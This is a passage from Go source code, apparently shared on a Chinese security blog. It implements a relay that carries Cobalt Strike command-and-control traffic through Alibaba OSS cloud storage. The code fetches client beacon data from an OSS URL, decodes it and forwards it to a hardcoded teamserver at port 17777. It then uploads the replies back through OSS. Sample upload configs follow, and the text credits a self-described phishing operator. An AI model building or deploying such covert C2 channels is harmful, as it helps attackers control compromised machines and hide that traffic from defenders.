fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url1)
}
fmt.Printf("检查文件2：%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url2)
}
/* for {
waitForNextHalfHour()
fmt.Printf("检查文件1：%s\n", url1)
if checkURLStatus(url1) {
err = safeDownloadFile(filepath1, url1)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url1)
}
fmt.Printf("检查文件2：%s\n", url2)
if checkURLStatus(url2) {
err = safeDownloadFile(filepath2, url2)
if err != nil {
fmt.Printf("下载失败: %v\n", err)
} else {
fmt.Println("下载成功")
}
} else {
fmt.Println("URL不可用，跳过下载：", url2)
}
}*/
}
var fileLock sync.RWMutex // 定义一个文件锁
var taskQueue = make(chan string, 100) // 定义一个任务队列
func processQueue() {
for task := range taskQueue {
log.Println("[+]", "处理队列中的任务:", task)
processServerWithLock(task) // 有序地处理任务
}
}
func processServerWithLock(URLname string) {
// 从name中提取UUID
log.Println("[+]", "发现客户端")
// 将Base64编码的数据解码
sDec, err := base64.StdEncoding.DecodeString(string(URLname))
if err != nil {
log.Println("[-]", sDec, "Base64解码失败:", err)
return
}
// 连接CS服务器
conn, err := net.Dial("tcp", "x.x.x.x:17777") // 使用硬编码的CS服务器地址
if err != nil {
log.Println("[-]", conn, "连接CS服务器失败:", err)
return
}
defer conn.Close()
// 发送解码后的数据到CS服务器
_, err = conn.Write(sDec)
if err != nil {
log.Println("[-]", "无法向CS服务器发送数据包:", err)
return
}
// 设置读超时
_ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
var buffer bytes.Buffer
// 从CS服务器读取响应数据
for {
var buf [1]byte
n, err := conn.Read(buf[:])
if err != nil {
log.Println("[-]", "从CS服务器读取数据失败:", err)
break
}
buffer.Write(buf[:n])
// 检查是否接收完毕
if strings.Contains(buffer.String(), "\r\n\r\n") {
// 处理Content-Length
if strings.Contains(buffer.String(), "Content-Length") {
ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
log.Println("[+]", "数据包长度为：", strings.TrimSpace(ContentLength))
// 继续读取指定长度的数据
if strings.TrimSpace(ContentLength) != "0" {
intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
if err != nil {
log.Println("[-]", "Content-Length转换失败:", err)
break
}
for i := 1; i <= intContentLength; i++ {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", "从CS服务器读取数据失败:", err)
break
}
buffer.Write(b[:n])
}
}
}
// 处理Chunked传输
if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
for {
var b [1]byte
n, err = conn.Read(b[:])
if err != nil {
log.Println("[-]", "读取Chunked数据失败:", err)
break
}
buffer.Write(b[:n])
if strings.Contains(buffer.String(), "0\r\n\r\n") {
break
}
}
}
log.Println("[+]", "从CS服务器接受完毕")
break
}
}
// 将响应数据重新编码为Base64
b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
Send("Send-Server.json", "server.zip", b64)
log.Println("[+]", "服务器数据发送完毕")
log.Println("文件上传完成，暂停30秒...")
time.Sleep(30 * time.Second) // Pause for 30 seconds
}
func checkFileChanges(currentContent string, server_address string) {
// 加锁，防止与定时任务冲突
log.Println("[+]", "尝试加锁以检测文件变化")
/* fileLock.Lock()
log.Println("[+]", "文件锁定成功，开始检查文件变化")
defer func() {
log.Println("[+]", "解锁文件")
fileLock.Unlock()
}()*/
log.Println(currentContent)
log.Println(previousContent)
// if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
log.Println("[+]", "文件内容不一致，开始处理")
previousContent = currentContent // 更新存储的文件内容
log.Println("currentContent:",currentContent)
log.Println("previousContent:",previousContent)
processServerWithLock(currentContent) // 处理客户端文件数据
/* } else {
log.Println("[+]", "文件内容一致，无需处理")
}*/
}
func startServer(server_address string) {
log.Println("[+]", "服务端启动成功")
for {
time.Sleep(6 * time.Second)
// 获取 Send-Client.json 中的 URL
clientURL,err := Getfile("Send-Client.json")
log.Println("clientURL=>",clientURL)
currentContent, err := fetchFileContent(clientURL)
log.Println("currentContent=>",currentContent)
if err != nil {
log.Println("[-]", "获取客户端文件失败:", err)
return
}
println("大小为%s", len(currentContent))
checkFileChanges(currentContent, server_address)
}
}
func main() {
go timedownload()
server_address := "x.x.x.x:17777"
startServer(server_address)
}
涉及json文件
Send-Client.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
Send-Server.json
{"key":"1029/ff.txt","success_action_status":"200","Content-Disposition":"attachment;filename=policy.txt","x-oss-meta-uuid":"uuid","x-oss-meta-tag":"metadata","OSSAccessKeyId":"xxxxxxxxxxxxxxxxxxxxxx","policy":"xxxxxxxxxxxxxx==","Signature":"xxx/xxxxxxx+xxxxxx=","action":"https://xxxx.oss-cn-shanghai.aliyuncs.com","file":{"filename":"policy.txt","content_type":"text/plain","content":"test-policy"}}
致谢：
主要代码提供者，钓鱼佬pant0m
其语雀链接：
https://www.yuque.com/pant0m
